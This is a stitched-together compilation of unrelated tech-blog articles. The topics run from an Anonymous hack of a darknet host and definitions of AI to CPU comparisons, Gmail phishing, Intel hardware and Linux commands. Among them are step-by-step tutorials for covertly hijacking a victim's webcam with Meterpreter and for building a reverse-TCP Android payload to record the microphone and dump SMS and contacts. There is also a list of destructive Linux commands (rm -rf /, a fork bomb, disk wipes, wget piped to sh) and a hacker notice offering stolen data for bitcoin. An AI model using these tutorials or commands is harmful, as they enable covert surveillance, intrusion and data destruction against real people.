Anonymous Hacks Darknet Hosting Site, Leaks Pedophile Databases

A faction within the Anonymous movement has claimed responsibility for hacking Freedom Hosting II, a hosting company for TOR based onion websites or the darknet.
Visitors to various websites hosted on the darknet were met with the message, “Hello, Freedom Hosting II, you have been hacked.”
The full statement read:
Hello Freedom Hosting II, you have been hacked
We are disappointed… This is an excerpt from your front page ‘We have a zero tolerance policy to child pornography.’?—?but what we found while searching through your server is more than 50% child porn…
Moreover you host many scam sites, some of which are evidently run by yourself to cover hosting expenses.
All your files have been copied and your database has been dumped. (74GB of files and 2.3GB of database)
We are selling all data (excluding cp) for 0.1 BTC. Send 0.1 BTC to 14iCDyeCSp12AmhVfJGxtrzXDabFop4QtU and send your transaction id to
fhosting@tt3j2x4k5ycaa5zt.onion or
fhosting@danwin1210.me and We’ll get back to you with a full dump.
Up to January 31st you were hosting 10613 sites. Private keys are included in the dump. Show full list
We are Anonymous. We do not forgive. We do not forget. You should have expected us.
The hackers claimed that child pornography made up more than half of the data that was hosted on the servers.
This is not surprising considering the fact that the original Freedom Hosting hosted as many as half of the child porn sites on the darknet.
The service was compromised by law enforcement in August 2013, and its owner Eric Eoin Marques was
arrested . The FBI used a firefox tor exploit to exploit javascript, and then trace and capture several pedophiles.
All of the sites hosted by Freedom Hosting—some with no connection to child porn—began showing an error message with hidden code embedded in the page. Security researchers dissected the code and found it exploited a vulnerability in Firefox to identify users of the Tor Browser Bundle, reporting back to a home server in Northern Virginia.
The latest attack is not suspected to have been done by the FBI, but by online vigilantes who have deemed themselves “pedophile hunters.”
Troy Hunt, a security researcher, noted that there were thousands of .gov email addresses. Although as he said, “how many are real and what purposes they are being used for is another issue,” as not everything hosted on Freedom Hosting II was child pornography. However, he added, “ much of the data is highly explicit ,” with half of the sites in the dump containing illicit sexual pictures of children. An ongoing analysis of the leak can be found on Medium, where Chris Monteiro is looking into the
data .
In the meantime, another hacker “eTrappin,” I personally know is working on a tool to trace these pedophile websites called “tortrace.” He is welcoming all help coding the tool.
New Tool Under Development To Target Underground Pedo Rings TorTrace If U Can Help Code Contact @eTrappin : gi
This is a huge blow to the pedophile darknet, which is mostly hosted by Freedom Hosting. Anonymous has previously gone after the darknet with an operation a few years back called “Operation Darknet.”

Artificial Intelligence defined....

What is artificial intelligence (AI), and what is the difference between general AI and narrow AI?
There seems to be a lot of disagreement and confusion around artificial intelligence right now.
We’re seeing ongoing discussion around evaluating AI systems with the Turing Test , warnings that hyper-intelligent machines are going to slaughter us and equally frightening, if less dire, warnings that AI and robots are going to take all of our jobs .
In parallel we have also seen the emergence of systems such as IBM Watson , Google’s Deep Learning , and conversational assistants such as Apple’s Siri , Google Now and Microsoft’s Cortana. Mixed into all this has been crosstalk about whether building truly intelligent systems is even possible .
A lot of noise.
To get to the signal we need to understand the answer to a simple question: What is AI?
AI: A textbook definition
The starting point is easy . Simply put, artificial intelligence is a sub-field of computer science. Its goal is to enable the development of computers that are able to do things normally done by people -- in particular, things associated with people acting intelligently.
Stanford researcher John McCarthy coined the term in 1956 during what is now called The Dartmouth Conference , where the core mission of the AI field was defined.
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If we start with this definition, any program can be considered AI if it does something that we would normally think of as intelligent in humans. How the program does it is not the issue, just that is able to do it at all. That is, it is AI if it is smart, but it doesn’t have to be smart like us.
Strong AI, weak AI and everything in between
It turns out that people have very different goals with regard to building AI systems, and they tend to fall into three camps, based on how close the machines they are building line up with how people work.
For some, the goal is to build systems that think exactly the same way that people do. Others just want to get the job done and don’t care if the computation has anything to do with human thought. And some are in-between, using human reasoning as a model that can inform and inspire but not as the final target for imitation.
The work aimed at genuinely simulating human reasoning tends to be called “ strong AI ,” in that any result can be used to not only build systems that think but also to explain how humans think as well. However, we have yet to see a real model of strong AI or systems that are actual simulations of human cognition, as this is a very difficult problem to solve. When that time comes, the researchers involved will certainly pop some champagne, toast the future and call it a day.
The work in the second camp, aimed at just getting systems to work, is usually called “ weak AI ” in that while we might be able to build systems that can behave like humans, the results will tell us nothing about how humans think. One of the prime examples of this is IBM’s Deep Blue , a system that was a master chess player, but certainly did not play in the same way that humans do.
Somewhere in the middle of strong and weak AI is a third camp (the “in-between”): systems that are informed or inspired by human reasoning. This tends to be where most of the more powerful work is happening today. These systems use human reasoning as a guide, but they are not driven by the goal to perfectly model it.
A good example of this is IBM Watson . Watson builds up evidence for the answers it finds by looking at thousands of pieces of text that give it a level of confidence in its conclusion. It combines the ability to recognize patterns in text with the very different ability to weigh the evidence that matching those patterns provides. Its development was guided by the observation that people are able to come to conclusions without having hard and fast rules and can, instead, build up collections of evidence. Just like people

How to Hack into Webcams

It’s time to let out your inner creep. In this tutorial, we’ll be taking a look at how we can hack a webcam remotely and take a peek at what’s going on at the other side. We’ll use the powerful Meterpreter to hack into the victim’s webcam. We’ll take full control of the webcam, turn it on and get snapshots without anyone ever finding out.
In early 2014, a hacker was sentenced to 18 months for doing just this to Miss Teen USA 2013. He found a vulnerability in her computer (perhaps some outdated software), took a few clicks from the webcam and blackmailed the victim to send more photos. While the exact method he used is unknown, it’s very likely the same as what we’ll be trying out here. The point of this tutorial is to show just how easy it really is, a proof of concept. While developing your own hacks and discovering loopholes is a whole different level of hacking, quite a lot of hacking can be done just by being in ‘the know’: knowing common vulnerabilities and the tools to exploit them. If successful, it can lead to things like getting your webcam hacked or worse. Finally, we’ll see exactly why you should find some black tape and tape over your camera right now.
Our best friend Meterpreter is going to help us with this hack. With Meterpreter we can install a keylogger, hack the webcam and the list goes on and on. You can basically do almost anything that you can do on your own computer, to your victim. All we need for this hack, is to first break in with Metasploit and install meterpreter on their system. How do we do that?
After picking an attack module to exploit a vulnerability, we have the option to set a payload. The payload tells metasploit what to do on the victim’s computer once it breaks in. Meterpreter is a payload. The command usually looks like:
Set payload windows/meterpreter/reverse_tcp
If the attack was successful, metasploit automatically installs meterpreter on the target system and we can move on to hacking the webcam, in this case. We can also get our meterpreter session by using exploits like Aurora (for IE6). After getting the meterpreter session in our command, you can follow the steps below to hack the webcam.
Step 1: Find if there is a webcam.
Metasploit’s Meterpreter has a built-in module for searching and controlling the remote system’s webcam (Because apparently there are so many creepy hackers that we now have this hack at our fingertips). We can start off by searching if the system even has a webcam or not.me. The command below is used for that, it also returns us the name of the webcam.
meterpreter > webcam_list
If a webcam was found, Meterpreter will them all out. Usually we just find one.
Step 2: Say Cheese!
If the last command gave us a webcam we can go ahead and snap a photo:
meterpreter > webcam_snap
If all went fine a picture will be saved in the directory: /opt/framework3/msf3 We can simply go there and see what we got. We can’t do anything about the quality of the image, it all depends on the webcam. Still, better than nothing, right?
Step 3: Streaming video.
So we got a picture, let’s see how to get a live video stream. We can do this by typing the command below: (We’re using –p parameter to specify the directory we want to give to the video streaming file)
meterpreter > run webcam -p /var/www
This command fires up the victim’s webcam and sends its video output to /var/www/webcam.htm. You can open up this file and check out what’s going on at the other end in live video feed.
Another thing that deservers mention here is the little light that is often found next to many laptop cameras and on some separate webcams too. Will the light be turned on by this hack? It depends on the way the camera manufacture implemented the ‘take a photo’ and ‘take a video’ functions and on which software is set as default to use the camera. So this hack is not all that risk-free. But then again, what’s life without a little risk? (Just kidding, people go to jail for this. Be careful.)
Protecting yourself
In

Crazy Hacking Cheats

The field of cyber security is vast. You have to learn a lot of tools to execute an ever growing number of techniques. From the earliest stages in information gathering to post-exploitation cleaning up, a hacker needs to keep a lot of things in mind. One small slip up is often the difference between success and failure. From a hobbyist to a professional pentester, it can definitely be a little daunting for all of us.
We’re here to try and make sense of it all. Presented below is important information that everyone from a beginner to a hardened expert will need for offensive or defensive hacking. The most common tools, the stages, the process, the quick cheats and more. We’ll often go back and forth between the point of view of a malicious adversary and that of a defensive hacker (pentester). This will help us understand the big picture. So let’s get started.
Your hacking toolset is your everything
Your toolkit is your weapon and your shield. It’s the most critical asset you possess, second only to actual hands-on experience. In cyber security, you have to be a master of all trades. Below are all the different kinds of tools you must have in your toolbox and a few examples:
Password cracking software: ophcrack, Proactive Password Auditor
Network scanners: Nmap, NetScanTools
Network vulnerability scanning software: LanGuard, Nexpose
Network analyzing: Cain & Abel, CommView
Wireless network analyzers: Aircrack-ng, CommView for WiFi
File search utility: FileLocator
Web application vulnerability scanning software: Acunetix Web Vulnerability Scanner, AppSpider
Database security scanners: SQLPing3
Exploit software: Metasploit
Remember, this is not an exhaustive list, but a
guideline . These were the most common tools that I find myself returning to over and over. Your journey may be different, but all our goals are aligned.
Common Attack Vectors
All experienced hackers and penetration testers have their own way of doing things, but they’re largely different flavors of the same process. Check for open ports, vulnerable services, outdated software etc. and attack. Over time, a pattern emerges…
People get lazy and choose weak passwords
People get annoyed and close the frequent update notifications (Adobe Reader, I’m looking at you), leaving them with potentially vulnerable software
People never expect that they may be open to attack. “Surely, it can’t happen to me. That’s just something you read about in the news”. They let down their guard and then it does happen to them.
It makes sense to begin your testing with the most common vulnerabilities. The following physical and digital security flaws should be at the top of your checklist when carrying out a penetration test:
Gullible and overly-trusting users
Unsecured building and computer room entrances
Discarded documents that have not been shredded
Storage devices (hard disks, pen drives) that have not been securely erased of sensitive data
Network perimeters with no firewall protection
No intrusion detection systems
Default passwords
Poor, inappropriate, or missing file and share access controls
Unpatched systems that can be exploited easily using popular tools such as Metasploit
Online access portals with weak authentication mechanisms
Insufficient or outdated password storage methods (eg: MD5 hash)
Insecure routers
Guest wireless networks that allow the public to connect into the corporate network environment
Employee hardware lacking full disk encryption
Mobile devices with little to no mandatory protection
Weak or no application, database, and operating system passwords
COMMONLY HACKED PORTS
Everyone knows to secure common ports, such as TCP port 80 (HTTP) - but other ports may get overlooked and hence be open to attack. In your security testing, be sure to check these commonly hacked TCP and UDP ports:
TCP port 21 — FTP (File Transfer Protocol)
TCP port 22 — SSH (Secure Shell)
TCP port 23 — Telnet
TCP port 25 — SMTP (Simple Mail Transfer Protocol)
TCP and UDP port 53 — DNS (Domain

How To Hack Any Android Device Using Kali Linux

How To Hack Any Android Device Using Kali Linux
This is a tutorial explaining how to hack android phones with Kali Linux. I can’t see any tutorials explaining this Hack/Exploit, so, I made one. Kali is one of the most famous and advanced operating systems that is used by hackers. It has lots programs that you can use for Pen Testing and hacking.
So Today’s article is all about Hacking an Android device Using Kali. We will provide you step by step procedure to do the same. To do this hack we are going to use two tools 1. Msfvenom | 2. Metasploit.
Msfvenom is a Kali Hacking tool , a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance known as msfvenom payload. Metasploit is one of the famous tools of Kali Linux. Metasploit is enhanced by msfvenom in kali Linux.
Do tell us your queries in the comment box and we will get to you asap.
Things You Need??
1. Kali Linux 2.0
2. Lots of patience
Step1 : Open Command Terminal in Kali and Write the command ifconfig and hit enter
Step 2: Now copy the IP Address that’s written Near “ inet addr “, or you can write it somewhere. Now close the terminal.
Step 3: Now open the command terminal again and write the command that is written below and then hit enter
msfvenom -p android/meterpreter/reverse_tcp LHOST=(IP ADDRESS) LPORT=4444 R > andro.apk
Note: Write The IP address in The LHOST PART that you had copied/written earlier and Don’t add any stray space characters anywhere.
Step 4: After Executing the previous command, you will get to see an apk file saved in the Home folder. All you have to do is just install the apk file in the victim’s phone.
Step 5: Now Type msfconsole and hit enter.
Step 6: Now write the following command and after writing each command hit enter.
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST (IP ADDRESS)
set LPORT 4444
exploit
Note: Write The IP address in The LHOST PART that you had copied/written earlier.
Whenever the victims clicks on the app(installed as MAIN ACTIVITY in the menu) in his phone, meterpreter session will be established and you will get a Screen Like this:
After that you can use the following command:
record_mic
webcam_snap
webcam_stream
dump_contacts
dump_sms
geolocate
Thanking you for Reading and following this tutorial, I hope you liked it. For more Tech tutorial and news visit our website Regularly.

Intel Core i5 vs Intel Core i7: Which One is Best for You?

Short Bytes: Intel Core i5 or Intel Core i7? If you are looking forward to buying a computer, despite the knowledge you have, this question will definitely get you puzzled. Today, we are going to compare the both and guide you. Most of the people confuse the next-gen Intel Core with a better or a faster PC.  Yes, the processor does affect your machine’s performance, but just a faster processor won’t make your PC better than your friend’s who has an overall better configuration.
Two of the CPUs most often in contention are the Intel Core i5 and Intel Core i7. Discounting Core i3 (mainly found in budget systems) and AMD processors, the difference between Intel Core i5 and Core i7 can seem daunting, especially when the prices seem so close together once they’re in completed systems. Let’s see some features of the mobile Intel core processors.

 

Intel Core i5 vs Intel core i7:

 

Intel has launched a number of processors of both sets, so we will compare those chips’ specification to find out which one is better for you.
All of the Intel Core i5 processors are hyper threading dual-core processors. However, the latest 5th generation i5 processors have low Thermal Design Power (TDP) than its predecessors.

 

Intel Core i5 vs Intel Core i7 | Cores:

  Most of the Intel i7 core processors are hyper threading quad-core chips. 5th generation Intel i5 mobile core processors- however, are all dual core chips. The number of core processors affect the speed of the CPU. So, if you plan on buying any of the two Intel Cores, just choose the higher model number of the preferred generation for better performance.

 

Intel Core i5 vs Intel Core i7 | Clock Speed:

Intel i7 has higher clock speeds than i5 core processors even when the TDP for both these CPUs is same.

 

Intel Core i5 vs Intel Core i7 | Cache Difference:

The Intel i7 have the larger cache as compared to i5s. And well, more cache means easy multitasking. Mobile Core i7 have 6MB or 4MB cache, whereas the core i5 has 3MB on board memory. Only Intel Core i5-5350H has a 4MB cache memory.

Intel Core i5 vs Intel Core i7 | Turbo Boost:

It is an overclocking feature built into its processors by Intel. In Turbo Boost feature, the processor runs faster than its base clock speed when only one or two cores are required. Both i5 and i7 processors use Turbo Boost where i7 achieve higher speeds comparatively.

Intel Core i5 vs Intel Core i7 | Addressable Memory:

All the i5s and most of the i7 core processors are limited to 16 GB addressable memory. But, few Intel i7 chips like i7-5850HQ, 5950HQ, 5750HQ, and 5700HQ can address up to 32GB RAM, ultimately giving better performance.

Intel Core i5 vs Intel Core i7 | Integrated Graphics:

These are the graphics integrated into the CPU rather than the motherboard. Both the i5 core and i7 core come with integrated Intel HD graphics in the Core processors. With time, Intel has advanced its integrated graphics. Intel core i7 has the latest Intel Iris Pro while i5 core comes with a variety of Intel HD integrated graphics.

Intel Core i5 vs Intel Core i7 | Pricing:

Now, one of the main factors that influence your choice of CPU is the cost. Of course, the i7 Core being the successor with better specs is costlier than Intel Core i5 processor.
So, to sum up, we can say Intel Core i5 is made for mainstream users who care about performance, and Intel Core i7 is made for enthusiasts and high-end users. If you are a normal mainstream user who cares about your Laptop’s overall performance, then i5 is the one- and if you are planning to have a blast with high-end gaming, video editing and lots of multitasking while running heavy software, then i7 would be worth the cost.

Did you find this article helpful? Tell us in comments below.

What is Big Data and Why is it Important?

Big data is a popular term which describes the large volume of data – both unstructured and structured – that inundates a business on day-to-day basis. But it is not the amount of data that is important. It is what organisations do with data that matters. Big data can be analysed for insights which lead to strategic business moves and better decisions.

While the “big data” term is relatively new, the act of gathering and storing the large amounts of the information for eventual analysis is very old. The concept that gained momentum in early 2000s when the industry analyst Doug Laney articulated now-mainstream definition of the big data as three Vs:

Volume. Organisations collect the data from a variety of sources, which include business transactions, social media and information from machine-to-machine or sensor data. In past, storing it would have been a problem, but new technologies (like Hadoop) have eased this burden.
Velocity. The data streams in a great speed and must be dealt with in timely manner.
Variety. Data comes in all formats – from structured, numeric data in the traditional databases to the unstructured text documents, video, audio, email, stock ticker data.

Big data’s big potential

The amount of the data that is being created and stored on global level is almost inconceivable, and it keeps on growing. This means there is a greater potential to glean the key insights from business information,  yet only a tiny percentage of data is actually analysed.

Why Is Big Data Important?

The importance of big data doesn’t revolve around how much data you have, but what you do with it. You can take data from any source and analyse it to find answers that enable 1) cost reductions, 2) time reductions, 3) new product development and optimised offerings, and 4) smart decision making. When you combine big data with high-powered analytics, you can accomplish business-related tasks such as:

• Generating coupons at the point of sale based on the customer’s buying habits.
• Determining root causes of failures, issues and defects in near-real time.
• Detecting fraudulent behaviour before it affects your organisation.
• Recalculating entire risk portfolios in minutes.

How to Protect Yourself from the Latest Gmail Security Threat

Gmail has been rocked by a new security threat that’s so sneaky it’s left the experts baffled. On the face of it it’s a classic phishing scam, redirecting you from your email to a malicious page that steals your Google login information, but this one has an extra trick up its sleeve. Here’s everything you need to know to protect yourself from this scam and others like it.

Ads by Google

How does it work?

Like most phishing scams, this one works by faking legitimacy. You receive an email in your inbox that contains a PDF linking you to a page posing as a Gmail login page. You enter your information into it, and hackers have instant access to your Gmail account.

What’s so special about this one?

Phishing scams are commonplace. Look through your junk mail, and you might find one of them sitting around, telling you that there’s something urgent that needs your attention on your eBay, PayPal, email, or other account. Even though they have the logos and everything you’d expect from the actual site, the giveaway is in the email address from which it was sent, which usually doesn’t resemble that of the site. In addition, your browser will likely detect that it wants to send you to a fake site.
But this scam circumvents your browser’s phishing detection using a trick called “Data URL” which takes you to a seemingly legitimate site, complete with “https://accounts.google.com/ServiceLogin?service=mail” visible in the middle of its URL. It’s convincing not only for your browser but also for you as a user.

How to avoid it

One thing that should reassure you about phishing scams is that they can’t do anything if you don’t give them any of your personal information. Everything is in your hands! And, as a general rule, you should never open attachments you weren’t expecting to receive, sent to you by sites claiming to be ones you trust.

What if I think I’ve fallen for the scam?

If you think you’ve given your details over to this (or any other) scam, the negative impact won’t be clear straight away. The idea behind hackers using your Gmail account is that they can then access all kinds of sensitive information about your identity, bank details, Google Drive files, and so on, then sell your information, make online purchases, or other illicit activities.
The very first thing you should do is change your password, which will force every user on every device that the account is accessible on to re-enter it (which the hackers won’t be able to do because they no longer know it).
Next, enable two-factor authentication for your Google account by going to this page. This will require any sign-in to your Google to go through the extra layer of sending a code to your phone, which you type in after entering your Google password.

As your email address may have been used to forward the scam to people in your Google contacts, you should send out a mass email warning people that you may have been the victim of a hack and to not open any strange emails they’ve received from you.

Finally, it’s ESSENTIAL that you have a different password for each of your accounts. If you find the prospect of that a bit intimidating, you can use a password manager to generate different ones for you and store them safely in its vault.

Conclusion

This latest phishing scam is a clever variant on an old trick, but many of the same rules apply. To some of you, this may sound like obvious safety advice, but as long as people keep falling for these, then it’s worth re-emphasizing the things you can do to stay safe.

IITians Have To Take Online Test To Join Companies Like Google As They Stop Campus Selection

Hindustan Unilever (HUL) and Adobe have become the latest among top recruiters to skip final placements at Indian Institutes of Technology this year. They now join a growing list of marquee companies — the likes of Google, McKinsey and Facebook — that are avoiding the official channel to recruit from the top engineering colleges.

The formal process entails recruiters visiting a campus and interviewing candidates, usually starting December, when the final placement season begins for most IITs, before making an offer. While that involves looking at the final year students of one institute at a time, companies are now putting candidates across IITs against each other through simultaneous online tests and other means, as they try to cherry-pick the best from a larger pool.

Adobe may adopt this strategy starting this year, screening candidates through online tests followed by interviews, and stop visiting campuses, said people in the know.
HUL seems to have exited final campus placements partially, as it stayed away from IITs for the second year in a row. But the consumer goods company has still been hiring IITians through pre-placement offers — giving permanent job offers to interns who suit its requirements.
Adobe hired over a dozen engineers from at least three IITs last year, including five from IIT Bombay. The software company, as well as Google, Facebook and McKinsey didn’t respond to request for comment.
HUL didn’t confirm its absence from the IITs during campus placements and said it is open to hiring through the formal channel.

India has 23 IITs of which 17 have the class of 2017 getting placed — the rest are new institutes, started in 2015 and 2016.

The institutes aren’t happy about the new strategy of recruiters.
"IITs do not entertain companies that chose to go off-campus. Companies like HUL that are not coming for final placement in December but are coming for picking up interns are still welcome,” said IIT Kharagpur career development centre chairperson Debasis Deb.
Other IITs are also not overly worried about the partial exit by some companies. “As long as companies are coming to the IITs for PPOs (pre-placement offers), there is nothing to worry about,” said Anishya Madan, IIT-Delhi’s training and placement cell, industrial liaison officer.

Intel’s “Compute Card” Is Powerful PC That Fits Inside Your Wallet

Short Bytes: At CES 2017, Intel unveiled its thinnest and smallest computer named Compute Card. This full-blown computer looks like a thicker credit card, and comes loaded with 7th Gen Intel Kaby Lake CPU and other PC components. Intel has partnered with many companies to make the device upgrades easier. It can be inserted into smart appliances, all-in-one PCs, drones, robots, etc. Compute Card is expected to hit the markets in mid-2017.
Intel, the world leader in CPUs, has tried to invent a new product category by bringing the computing ability to any “dumb” product. At CES 2017, the company showed off its Compute Card that is a perfect example of sleek and simple design without any compromises on the performance front. Intel Compute Card is a tiny PC — 94.5mm x 55mm x 5mm — that includes a 7th Gen Kaby Lake CPU, GPU, motherboard, storage, RAM, and Wi-Fi. But, due to size limitations, the device will need a dock to cool and power.

With Computer Card, Intel plans to make it easy to add a new interface to machines that will allow them to be easily upgradable. One can just eject the older card and insert a new one. Companies will be able to extend the capabilities of devices like smart TVs, refrigerators, all-in-one PCs, kiosks, etc. To do so, Intel has also partnered with many companies like Dell, HP, Lenovo, Sharp, etc.
Intel has also added a variant of the USB-C port named “USB-C plus extension,” which is used to connect to the machines it’s plugged into.

Also, just connect it to a display and instantly you can get a computer that’s as powerful as an average laptop. Intel has said that Compute Card will be able to run Windows, Linux, or any other operating system.
Intel’s Compute Card has been made in collaboration with Foxconn. In June 2017, Intel will be revealing more details on the pricing and features of the device. The devices are expected to hit the market in mid-2017.
Did you find Intel’s Compute Card interesting? Don’t forget to tell us your views and feedback.

10 most lethal Linux commands you should never execute

10 Most Dangerous Commands – You Should Never Execute on Linux

We all agree that Linux’s terminal commands are powerful and yet easy to execute. It gives unbridled power to the programmer to execute commands without being worried of errors. One of the easiest Linux commands is for file deletion. The Linux ability to delete anything you want without question is a godsend, especially after having faced those “That file can’t be deleted” errors in Windows.
But the problem is that unlike Windows-based PCs, Linux doesn’t ask you for confirmation when it runs a command. These Linux commands can either delete your important system files or break your system and you have no way to recover from such executed commands.

Here are 10 Linux commands that you should never execute

1. rm -rf Command

Commonly known as the recursive delete command, the rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.

rm -rf /

1. rm command in Linux is used to delete files.
2. rm -r command deletes the folder recursively, even the empty folder.
3. rm -f command removes ‘Read only File’ without asking.
4. rm -rf / : Force deletion of everything in root directory.
5. rm -rf * : Force deletion of everything in current directory/working directory.
6. rm -rf . : Force deletion of current folder and sub folders.

Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.’
Note, these days on most Linux systems if you tried doing this you’d get a warning. But the warning isn’t guaranteed, so just don’t do it.

2. :(){:|:&};: Command

This command is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.

:(){:|:&};:

This fork bomb command defines a function named : that recursively calls itself twice when executed. One of the recursive calls happens in the foreground while the other happens in the background.
In other words, whenever this function executes, it spawns two child processes. Those child processes spawn their own child processes, and this cycle keeps going in an infinite loop. The only way out of it is to reboot the system.

3. Format Hard Drive

The terminal is especially tricky for Linux newbies because it provides several ways to accidentally wipe one’s hard drive. Recursive deletion is a big one, but here’s another:

mkfs.ext3 /dev/hda

This command formats the hard drive to use the ext3 filesystem.The above command will format the block ‘sda’ and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.

4. Overwrite Hard Drive

Never use this command if your workstation contains life long work. At least disk formatting is an actual procedure with real-life uses; directly overwriting one’s drive, on the other hand, is not so great.

command > /dev/hda

In the command above, command can be replaced by any Bash command. The > operator redirects the output from the command on its left to the file on its right. In this case, it doesn’t matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive. This renders your Linux PC/laptop useless.

5. Wipe Hard Drive

This command will completely wipe out your hard drive. No data corruptions or overwrites; it will literally fill your hard drive with zeroes. While this command can be necessiated if you have to start afresh but wiping your hard drive is a bad idea.

dd if=/dev/zero of=/dev/hda

The dd command is a low-level instruction that’s mostly used to write data to physical drives. The ifparameter determines the source of data, which in this case is /dev/zero, a special on Linux that produces an infinite stream of zeroes. The of parameter determines the destination of those zeroes, which is the /dev/hda drive.

6. > file Command

The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file and lead to a complete breakdown of your PC/workstation.

7. Implode Hard Drive

For some special reasons, Linux has a special file called /dev/null that will discard whatever data is written to it. You can think of it as a black hole or a file shredder: anything given to it as input will be eaten up for good. You must have understood what I was alluding to. Running any command with /dev/null can shred that particular data file. However using the /dev/null with some other commands can be quite devastating for you.

mv / /dev/null

The above mv command tries to move the system’s root directory / into the black hole of /dev/null. This is a valid command and the result is devastating: the hard drive gets eaten up and there’s nothing left. Doing this will make your system unusable.

8. ^foo^bar

FUBAR stands for fucked up beyond all recognition/any repair/all reason. As the name suggests, this command if not used properly can fuck up your system. This command is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t take the risk of thoroughly checking the change in original command using ^foo^bar command.

9. Cause Kernel Panic

While Windows has its infamous BSoD or Blue Screen of Death, Linux has a similar Blue Screen which is known as Kernel Panic. . Sometimes, an internal error occurs from which recovery is impossible, so the system will enact something similar to the Blue Screen: a kernel panic.

dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

If the above commands aren’t important here. What is important is that running any of those lines will result in a kernel panic, forcing you to reboot your system. It’s best to stay away from these commands unless you’re absolutely sure you know what you’re doing.

10. Execute Remote Script

Here’s an innocent command that can actually be useful in day-to-day life on a Linux system. wget retrieves the contents of a web URL, which can be used to access websites or download files. However, there’s a simple trick that turns it dangerous:

wget http://an-untrusted-url -O- | sh

wget http://malicious_source -O- | sh  command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script.The above combination downloads the contents of the given URL and immediately feeds it to the sh command, which executes the downloaded contents in the terminal. If the URL were to point to a malicious script, you’d be sealing your own fate with this command.

Download This Cheat Sheet To Learn Basic Linux Commands

New to Linux? Learn the basic Linux commands with this cheat sheet

Linux is the flavor for programmers and wannabe hackers today as it is slowly and steadily being adopted for standalone PCs in addition to networked PCs. One of the basic reasons it is so popular among coders and hackers is its rugged command line structure, unlike Windows and Mac based PCs.
Linux was designed around a strong and highly integrated command line interface. Windows and Mac don’t have that. This grants hackers and coder far greater access and control over their system and awesome customization. This is the reason that most hacking and pen testing tools are built into Linux have greater functionality above and beyond their windows counterparts. In contrast, Windows was built around the graphic user interface (GUI). This restrict user interaction to point-and-click navigation (slower) and application/system menu options for configuration.
One of the chief requirements to master Linux is to master its command line structure. Master the command line and you’ll be able to perform powerful tasks with just a few keystrokes.

The below cheat sheet will help you remember helpful Linux commands, whether you’re new to Linux or could just use a refresher.

For those who wish to copy the commands in the image directly, here goes

• mkdir – make directories
  Usage: mkdir [OPTION] DIRECTORY…
  eg. mkdir lhn
• ls – list directory contents
  Usage: ls [OPTION]… [FILE]…
  eg. ls, ls ­l, ls lhn
• cd – changes directories
  Usage: cd [DIRECTORY]
  eg. cd lhn
• pwd ­-  print name of current working directory
  Usage: pwd
• vim – Vi Improved, a programmers text editor
  Usage: vim [OPTION] [file]…
  eg. vim lhn.txt
• cp – copy files and directories
  Usage: cp [OPTION]… SOURCE DEST
  eg. cp sample.txt sample_copy.txt
  cp sample_copy.txt target_dir
• mv – move (rename) files
  Usage: mv [OPTION]… SOURCE DEST
  eg. mv source.txt target_dir
  mv old.txt new.txt
• rm ­ remove files or directories
  Usage: rm [OPTION]… FILE…
  eg. rm file1.txt , rm ­rf some_dir
• find – search for files in a directory hierarchy
  Usage: find [OPTION] [path] [pattern] eg. find file1.txt, find ­name file1.txt
• history – prints recently used commands
  Usage: history
• cat – concatenate files and print on the standard output
  Usage: cat [OPTION] [FILE]…
  eg. cat file1.txt file2.txt
  cat ­n file1.txt
• echo – display a line of text
  Usage: echo [OPTION] [string] …
  eg. echo I love India
  echo $HOME
• grep ­- print lines matching a pattern
  Usage: grep [OPTION] PATTERN [FILE]…
  eg. grep ­i apple sample.txt
•  wc ­- print the number of newlines, words, and bytes in files
  Usage: wc [OPTION]… [FILE]…
  eg.  wc file1.txt
  wc ­L file1.txt
• sort – sort lines of text files
  Usage: sort [OPTION]… [FILE]…
  eg. sort file1.txt
  sort ­r file1.txt
• tar – to archive a file
  Usage: tar [OPTION] DEST SOURCE
  eg. tar ­cvf /home/archive.tar /home/original
  tar ­xvf /home/archive.tar
• kill – to kill a process(using signal mechanism)
  Usage: kill [OPTION] pid
  eg. kill ­9 2275
• ps – report a snapshot of the current processes
  Usage: ps [OPTION]
  eg. ps,  ps ­el
• who – show who is logged on
  Usage: who [OPTION]
  eg. who , who ­b , who ­q
• passwd – update  a user’s authentication tokens(s)
  Usage: passwd [OPTION]
  eg. passwd
•  su –  change user ID or become super­user
  Usage: su [OPTION] [LOGIN]
  eg. su remo, su
• chown – change file owner and group
  Usage: chown [OPTION]… OWNER[:[GROUP]] FILE…
  eg. chown remo myfile.txt
• chmod – change file access permissions
  Usage: chmod [OPTION] [MODE] [FILE]
  eg. chmod 744 calculate.sh
• zip – package and compress (archive) files
  Usage: zip [OPTION] DEST SOURSE
  eg. zip original.zip original
• unzip – list, test and extract compressed files in a ZIP archive
  Usage: unzip filename
  eg. unzip original.zi
• ssh – SSH client (remote login program)
  “ssh is a program for logging into a remote machine and for
  executing commands on a remote machine”
  Usage: ssh [options] [user]@hostname
  eg. ssh ­X guest@10.105.11.20
• scp – secure copy (remote file copy program)
  “scp copies files between hosts on a network”
  Usage: scp [options] [[user]@host1:file1] [[user]@host2:file2]
  eg. scp file1.txt guest@10.105.11.20:~/Desktop/
• fdisk – partition manipulator
  eg. sudo fdisk ­l
• mount – mount a file system
  Usage: mount ­t type device dir
  eg. mount /dev/sda5 /media/target
• umount – unmount file systems
  Usage: umount [OPTIONS] dir | device…
  eg.  umount /media/target
• du – estimate file space usage
  Usage:  du [OPTION]… [FILE]…
  eg. du
• df – report filesystem disk space usage
  Usage: df [OPTION]… [FILE]…
  eg. df
• quota – display disk usage and limits
  Usage: quota [OPTION]
  eg. quota ­v
• reboot – reboot the system
  Usage: reboot [OPTION]
  eg. reboot
